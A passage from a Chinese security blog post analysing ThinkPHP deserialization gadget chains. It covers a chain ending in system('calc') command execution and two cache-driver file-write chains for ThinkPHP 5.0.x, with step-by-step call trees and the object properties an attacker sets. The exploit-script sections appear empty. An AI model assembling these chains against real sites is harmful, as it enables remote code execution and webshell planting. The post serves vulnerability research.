└── foreach ($this->withAttr["key"] as $k => $closure) // ✅ $this->withAttr["key"] = ["key" => "system"]
└── $value[$k] = $closure($value[$k], $value) // ✅ 等价于 system("calc") 命令执行点
调用链分析
首先在 think\model\Pivot 的 __destruct 方法中,如果 Pivot->lazySave 为 true 则会调用到 Pivot->save 方法。
1 | /** |
Pivot->lazySave 函数可以调用到 Pivot->updateData 函数,不过在此之前需要绕过几个判断。
1 | /** |
首先是 Pivot->setAttrs ,由于我们调用 save 函数时没有传参,因此 save 函数采用默认参数,即 $data = [],因此 setAttrs 函数的参数 $data 为空数组,因此并没有执行什么逻辑就返回了。
1 | /** |
然后就是下面这个判断,我们需要让判断中的两个条件都不满足。
1 | if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { |
首先 Pivot->isEmpty 要求 Pivot->data 不为空,这里我们随便填一个非空数组即可(这里必须是数组类型是因为后面 getChangedData 有返回值有类型声明)。
1 | /** |
而对于后面的 trigger 我们直接设置 $this->withEvent = false 即可绕过。
1 | /** |
最后我们设置 $this->exists = true 调用 $this->updateData。
1 | $result = $this->exists ? $this->updateData() : $this->insertData($sequence); |
在 updateData 函数中,我们希望调用到 checkAllowFields,为此同样需要绕过一些判断。
1 | protected function updateData(): bool |
首先是 trigger 前面分析过了,可以返回 true 绕过。
1 | // ❌ $this->withEvent = false => $this->trigger 返回 true => 不进入判断 |
然后 $this->checkData() 是个空函数什么也没做。
之后是 getChangedData,这里我们可以通过设置 Pivot->force = true 使其直接返回 $this->data 即可。不过要注意的是 getChangedData 返回类型被声明为 array,这要求 $this->data 必须是数组类型的。
1 | /** |
再之后几个判断也很好绕过。$data 是来自 getChangedData 返回的 $this->data,前面已经有要求不为空了。然后 $this->autoWriteTimestam 默认为 false 也不会进入判断。之后就可以顺利调用到 checkAllowFields 函数了。
1 | // $data 来自 getChangedData 返回的 $this->data 不为空 |
在 checkAllowFields 函数中我们希望调用到 db 函数。这就要求我们伪造 $this->field 和 $this->schema 都为空。
1 | /** |
在 db 函数中首先调用的 connect 函数用于创建或切换数据库连接,但是由于第二个参数 $force 没有设置,默认不强制重连。因此 connect 函数能够正常执行过去,不会报错。
1 | /** |
之后的 $this->name . $this->suffix 会调用到 $this->name 的 __toString 方法。
之后和 RCE1 一样(RCE1 是通过 file_exists 触发的)我们可以调用 Pivot 的 __toString 方法。
由于 Pivot 通过继承抽象类 Model,而 Model 使用了 think\model\concern\Conversion 和 think\model\concern\Attribute 这两个 trait,从而获得了这些方法:
Pivot->__toString:Conversion->__toStringPivot->getAttr:Attribute->getAttr
因此首先会有 Conversion->__toString → Conversion->toJson → Conversion->toArray 调用链。
1 | public function __toString() |
toArray 方法最终会调用 Attribute->getAttr 方法,参数为 $this->data 中的其中一项的键,这里为 "key"。期间的几个判断只要我们让 Pivot 相关字段都保持默认值即可绕过。
1 | /** |
Attribute->getAttr 先调用 $this->getData 获取到 $value,然后调用 $this->getValue 函数并依次传入 $name = "key",$value,$relation = false 三个参数。
1 | /** |
getData 获取到的是 $this->data["key"] = ["key" => "calc"]。
1 | /** |
在 getValue 函数中虽然有一个闭包函数的调用,但是限制限制 $closure 为 Closure 的实例,因此不能实现任意方法调用。因此我们走另一个分支调用 getJsonValue 函数。
1 | /** |
getJsonValue 同样存在闭包函数的调用,并且两处闭包调用都是可行的。这里我们采用其中一个即可。
1 | /** |
利用脚本
1 |
|
FW1(影响 5.0.4 - 5.0.24)
基本信息
影响范围 :5.0.4 - 5.0.24
生成命令 :
1
反序列化对象 :
反序列化调用链 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105think\Process->__destruct()
└── stop(): int
├── if ($this->isRunning()) // ❌ $this->status = STATUS_READY,返回 false,不进入
│ └── isRunning(): bool
│ ├── if (self::STATUS_STARTED !== $this->status) // ✅ 默认 status = "ready"
│ │ └── return false // ✅ 直接返回
│ └── // ❌ 不进入后续判断
├── $this->updateStatus(false)
│ └── updateStatus(bool $blocking): void
│ ├── if (self::STATUS_STARTED !== $this->status) // ✅ status = "ready"
│ │ └── return; // ✅ 直接返回
│ └── // ❌ 不执行后续逻辑
└── if ($this->processInformation['running']) // ✅ = true,进入分支
└── close(): int
└── $this->processPipes->close()
// $processPipes = HasMany 对象,没有 close 方法,触发 __call 魔术方法
think\model\relation\HasMany::__call(string $method = "close", array $args = [])
└── if ($this->query) // ✅ query 不为空,进入
└── baseQuery(): void
└── if (empty($this->baseQuery)) // ✅ baseQuery = null,进入
└── if (isset($this->parent->{$this->localKey})) // ✅ 假设 parent.k 存在
└── $this->query->where($this->foreignKey, $this->parent->{$this->localKey}) // ✅ $this->localKey = 'k', $this->parent->k 随便一个值,比如 0
// $query 是 Output 对象,触发其 __call 魔术方法
think\console\Output::__call(string $method = "where", array $args = ["file_content", 0])
└── if (in_array($method, $this->styles)) // ✅ styles = ['where'],进入判断
├── array_unshift($args, $method) // ✅ $args = ['where', 'file_content', 0]
└── call_user_func_array([$this, 'block'], $args = ['where', 'file_content', 0])
└── block(style = "where", message = "file_content")
└── writeln(messages = "<where>file_content</where>", type = 0)
└── write(messages = "<where>file_content</where>", newline = true, type = 0)
└── $this->handle->write(
messages = "<where>file_content</where>",
newline = true,
type = 0
)
// handle = Memcache 对象,进入 write
think\session\driver\Memcache::write(string $sessID = "<where>file_content</where>", string $sessData = true)
└── $this->handler->set(
$this->config['session_name'] . $sessID, // ✅ session_name = '' → $name = "<where>file_content</where>"
$sessData, // ✅ = true
0, // 第三个参数 = 0
$this->config['expire'] // ✅ 默认为 3600
)
// handler = Memcached 对象 → set()
think\cache\driver\Memcached::set(string $name = "<where>file_content</where>", mixed $value = true, int $expire = 0)
└── if ($this->tag && !$this->has($name)) == true // ✅ $tag = true 且缓存不存在
└── has(string $name = "<where>file_content</where>"): bool
├── $key = $this->getCacheKey($name)
│ └── getCacheKey(string $name): string
│ └── return $this->options['prefix'] . $name = "<where>file_content</where>" // ✅ prefix = ''
├── $this->handler->get($key = "<where>file_content</where>")
│ └── think\cache\driver\File::get(string $name = "<where>file_content</where>", mixed $default = false)
│ ├── $filename = $this->getCacheKey($name, true)
│ │ └── $filename = $this->options['path'] . md5($name) . ".php"
│ ├── if (!is_file($filename)) == true // ✅ 文件不存在
│ └── return false
└── return false
└── $first = true
└── $key = $this->getCacheKey($name = "<where>file_content</where>") = "<where>file_content</where>"
└── $expire = (0 == $expire) ? 0 : time() + $expire = 0
// 📌 第一次写入(内容不可控)
└── if ($this->handler->set($key = "<where>file_content</where>", $value = true, $expire = 0)) == true
└── think\cache\driver\File::set(string $name = "<where>file_content</where>", mixed $value = true, int $expire = 0)
│ ├── if (is_null($expire)) == false
│ ├── if ($expire instanceof \DateTime) == false
│ ├── $filename = $this->getCacheKey($name, true)
│ │ └── getCacheKey(string $name, bool $auto = true): string
│ │ ├── $name = md5($name)
│ │ ├── if ($this->options['cache_subdir']) == false
│ │ ├── if ($this->options['prefix']) == false
│ │ ├── $filename = $this->options['path'] . $name . ".php"
│ │ └── if ($auto && !is_dir(dirname($filename))) → mkdir($dir)
│ ├── if ($this->tag && !is_file($filename)) == false // ✅ $this->tag = false,跳过,$first 未设置
│ ├── $data = serialize(true) = 'b:1;'
│ ├── if ($this->options['data_compress']) == false // ✅ 未启用压缩
│ ├── $data = "<?php\n//000000000000\n exit();?>\n" . $data
│ ├── $result = file_put_contents($filename, $data) // ✅ 第一次写入(内容不可控)
│ └── if ($result) == true
│ ├── if (isset($first)) // ❌ $first 未设置
│ │ └── $this->setTagItem($filename) // ❌ 写入值为路径,不可控,不是利用点
│ └── clearstatcache()
│ └── return true
│
// 📌 第二次写入(内容可控)来自上层 Memcached::set → setTagItem($key)
└── if ($first) == true
└── setTagItem(string $name = "<where>file_content</where>")
├── $key = "tag_" . md5($this->tag)
├── if (!$this->has($key)) == true
│ └── $value = $name = "<where>file_content</where>" // ✅ 可控内容
└── $this->set($key = "tag_xxx", $value = "<where>file_content</where>", $expire = 0)
└── think\cache\driver\File::set(string $name = "tag_xxx", mixed $value = "<where>file_content</where>", int $expire = 0)
├── if (is_null($expire)) == false
├── if ($expire instanceof \DateTime) == false
├── $filename = $this->getCacheKey($name = "tag_xxx", true)
│ └── $filename = $this->options['path'] . md5("tag_xxx") . ".php"
├── $data = serialize($value) = s:30:"<where>file_content</where>"; // ✅ 内容可控
├── if ($this->options['data_compress']) == false
├── $data = "<?php\n//000000000000\n exit();?>\n" . $data
└── file_put_contents($filename, $data) // ✅ 第二次写入(内容可控)
调用链分析
think\Process->__destruct 函数会调用 stop 方法。
1 | public function __destruct() |
stop 函数中间有很多判断和干扰逻辑但是我们只需要设置 think\Process->processInformation['running'] = true,然后 think\Process->status 为默认值就可以绕过。从而顺利调用到 close 函数。
1 | const STATUS_READY = 'ready'; |
close 函数会调用 $this->processPipes 的 close 函数。
1 | /** |
$this->processPipes 被我们设置为 think\model\relation\HasMany 对象,而该对象没有 close 方法,因此会调用 HasMany 的父类 Relation 的 __call 函数。
在 __call 函数中,如果 $this->query 不为空则会调用 HasMany->baseQuery 方法。
1 | public function __call($method, $args) |
在 HasMany->baseQuery 中经过一些判断会调用 $this->query->where 方法。这里我们设置 $this->query 为 think\console\Output 对象,而 Output 没有 where 方法,因此会调用到 Output->__call 方法。
1 | protected function baseQuery() |
和 RCE2 调用链一样,Output->__call 方法方法将 $method = 'where' 插入到参数列表头部之后就会调用自身的 block 方法。
1 | // $method = 'where', $args = ['file_content', 0] |
随后是一条和 RCE2 一样的调用链:
1 | // $style = 'where', $message = 'file_content' |
由于 $this->handle 被我们设置为 think\session\driver\Memcache 对象,因此和 RCE2 一样,随后会调用该对象的 write 方法。在 write 方法中又会调用 this->handler->set 方法,其中 $this->handler 被设置为 think\cache\driver\Memcached 对象。
由于我们没有设置 Memcache 的 $config 成员的值,因此在设置参数时使用的 $this->config 是类中定义的默认值。
1 | protected $config = [ |
think\cache\driver\Memcached 的 set 方法是 ThinkPHP 缓存系统中的缓存写入函数,这个函数是 FW1 中最重要的一个函数。
如果我们将 think\cache\driver\Memcached 的 handler 成员指向 think\cache\driver\File 对象并精心构造,那么我们可以先把这个函数的功能简单理解为一个文件写入函数,其中:
- 将第
$this->handler->options['path']与一个参数$name的 MD5 与简单拼接后加上.php后缀作为文件名。 - 将第二个参数
$value序列化后与其他数据简单拼接之后作为文件内容。
然而当我们调用到 set 方法时,我们只能控制第一个参数,而第二个作为文件内容的参数不可控。因此我们还需要分析一下 set 的过程看一下有没有可以控制文件内容的方法。
1 | /** |
在 set 函数中真正进行文件写入操作是通过调用 $this->handler->set 完成的。当 handler 成员指向 think\cache\driver\File 对象时,对应的 $this->handler->set 函数如下:
1 | /** |
$this->handler->set 函数首先会对 $expire 做一些判断和转换,但是由于我们传入的是数字,因此实际上并没有什么变化。
1 | if (is_null($expire)) { |
之后会调用父类 Driver 的 getCacheKey 方法将传入的第一个参数 $name 转换为要写入的文件的名字。
1 | /** |
之后如果 $this->tag 为 true 且文件不存在说明是第一次写入。如果是第一次写入,则在完成文件写入之后还会调用 think\cache\Driver->setTagItem 函数再次写入文件。
1 | // $this->tag = true 且文件不存在则表示第一次创建,$first = true |
如果我们设置 $this->tag = true 则 setTagItem 会调用 $this->set 将 $name 写入文件。然而这里传入的 $name 是经过 getCacheKey 函数做过哈希运算的内容,实际上是不可控的。因此我们不能通过这条链完成文件写入。
1 | /** |
然后 File->set 在文件写入这块主要是将写入内容 $value 做了如下转换:
- 将写入数据进行序列化。
- 如果
$this->options['data_compress'] = true还会将写入数据进行 gzip 压缩,不过这里我们为了控制文件内容通常设置$this->options['data_compress'] = false。 - 在写入数据前拼接一段 PHP 代码:
"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"。
1 | // 将要写入的值 $value 序列化一下 |
然而前面分析过,$data 传入的是值是 true,然后 $expire 传入的值是 0,因此写入文件的内容如下:
1 |
|
显然这里文件写入的内容也是不可控的。
不过观察发现,think\cache\driver\File->set 的上一层 think\cache\driver\Memcached->set 在逻辑上和它很像。都有一个第一次写入的 $first 判断。不过这里判断文件是否存在用的不是 is_file 函数,而是 $this->has,这是因为这里参数 $name 还没有通过 $this->handler->getCacheKey 转换为写入文件的名称。
1 | // 如果没有 $name 对应的缓存文件则 $this->has($name) 返回 false |
其中 $this->has 主要通过 $this->handler->get 判断文件是否存在。前面会先调用 $this->getCacheKey 作一下转换,不过只是在名称前面拼接一段 $this->options['prefix'],没什么影响。
1 | /** |
File->get 函数则会读取 $name 经过 File->getCacheKey 转换后得到的文件名对应文件的内容。如果文件还没有创建的话返回空导致 Memcached->has 返回 false。
1 | /** |
另外前面分析过,$this->handler->set 会返回 true,因此可以走到 $this->setTagItem 逻辑。
1 | if ($this->handler->set($key, $value, $expire)) { |
think\cache\driver\Memcached 和 think\cache\driver\File 都继承于 think\cache\Driver,因此调用的都是 Driver 类的 setTagItem 函数。前面分析过,setTagItem 函数会将传入的参数写入文件,而这里传入的参数 $key 就是前面可控的 $name。因此我们可以通过这条链实现文件写入。
注意这里写入的文件的文件名中拼接的 MD5 是 'md5(tag_'.md5(File->tag)),因此多次写入如果路径相同则都是写在同一个文件里面。
利用脚本
1 |
|
FW2(影响 5.0.0 - 5.0.3)
基本信息
影响范围 :5.0.0 - 5.0.3
生成命令 :
1
反序列化对象 :
反序列化调用链 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45think\Process->__destruct()
└── stop()
├── if ($this->isRunning()) == false // $status 为默认值 "ready"
├── $this->updateStatus(false) // 同样 $status != "started" → return
└── if ($this->processInformation['running']) == true
└── close()
└── $this->processPipes->close()
// $processPipes 为 think\model\Relation,无 close 方法,触发 __call
think\model\Relation->__call("close", [])
└── if ($this->query && $this->type === self::HAS_MANY)
└── if (isset($this->where)) == true // ✅ 设置 $where = "file_content"
└── $this->query->where($this->where)
// $query = think\console\Output,没有 where 方法,触发 __call
think\console\Output->__call("where", ['file_content'])
└── if (in_array($method, $this->styles)) == true // ✅ $styles = ['where']
├── array_unshift($args, $method) // ['file_content'] → ['where', 'file_content']
└── call_user_func_array([$this, 'block'], ['where', 'file_content'])
└── block('where', 'file_content')
└── writeln('<where>file_content</where>')
└── write('<where>file_content</where>')
└── $this->handle->write('<where>file_content</where>')
// $handle = think\session\driver\Memcache → write
think\session\driver\Memcache::write('<where>file_content</where>', true)
└── $this->handler->set('<where>file_content</where>', true, 0, 3600)
// $handler = think\cache\driver\Memcached → set()
think\cache\driver\Memcached::set($name, $value, $expire)
└── if ($this->tag && !$this->has($name)) == true // ✅ 第一次写入,设置 $first = true
└── $key = $this->getCacheKey($name)
└── $expire = 0 == $expire ? 0 : time() + $expire
└── $this->handler->set($key, $value, $expire) // File::set 第一次写入(value 不可控)
├── 生成缓存文件路径 $filename
├── $data = "<?php\n//000000000000\n exit();?>\n" . serialize(true)
└── file_put_contents($filename, $data)
└── isset($first) && $this->setTagItem($key) // 第二次调用 set(value 可控)
think\cache\driver\Memcached::setTagItem($key)
└── $value = $key // ✅ $key = '<where>file_content</where>' 可控
└── $this->set("tag_" . md5($this->tag), $value, 0)
└── think\cache\driver\File::set(name = "tag_xxx", value = "<where>file_content</where>")
├── $data = "<?php\n//000000000000\n exit();?>\n" . serialize("<where>file_content</where>")
└── file_put_contents($filename, $data) // ✅ 内容可控 → 文件写入原始数据
调用链分析
FW2 与 FW1 的整体过程基本上是一致的,唯一的不同点是 FW2 将 FW1 的 think\model\relation\HasMany 替换为了 think\model\Relation。
这是因为在 5.0.3 中 Relation 类的 __call 方法可以直接调用到 $this->query->where。
1 | const HAS_MANY = 2; |
而 5.0.4+ 的 Relation 类是一个抽象类,它的 __call 方法会调用 $this->baseQuery 函数。
1 | public function __call($method, $args) |
而 $this->baseQuery 函数来自于 Relation 具体的实现类。而 FW1 采用的是 HasMany,因此会调用 $this->baseQuery->where。
1 | /** |
另外一点不同的是 think\cache\driver\File->set 写入文件部分。在 5.0.3 中,我们的可控数据 $data 是拼接在 PHP 脚本内部的。
1 | $data = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>"; |
两次文件写入内容如下:
1 |
|
而在 5.0.4+ 的 think\cache\driver\File->set 写入文件部分,可控数据 $data 是拼接在 PHP 脚本后面的。
1 | $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; |
两次文件写入内容如下:
1 |
|
利用脚本
1 |
|
- Title: ThinkPHP 框架安全
- Author: sky123
- Created at : 2025-07-28 23:10:49
- Updated at : 2025-08-19 01:11:42
- Link: https://skyi23.github.io/2025/07/28/ThinkPHP 框架安全/
- License: This work is licensed under CC BY-NC-SA 4.0.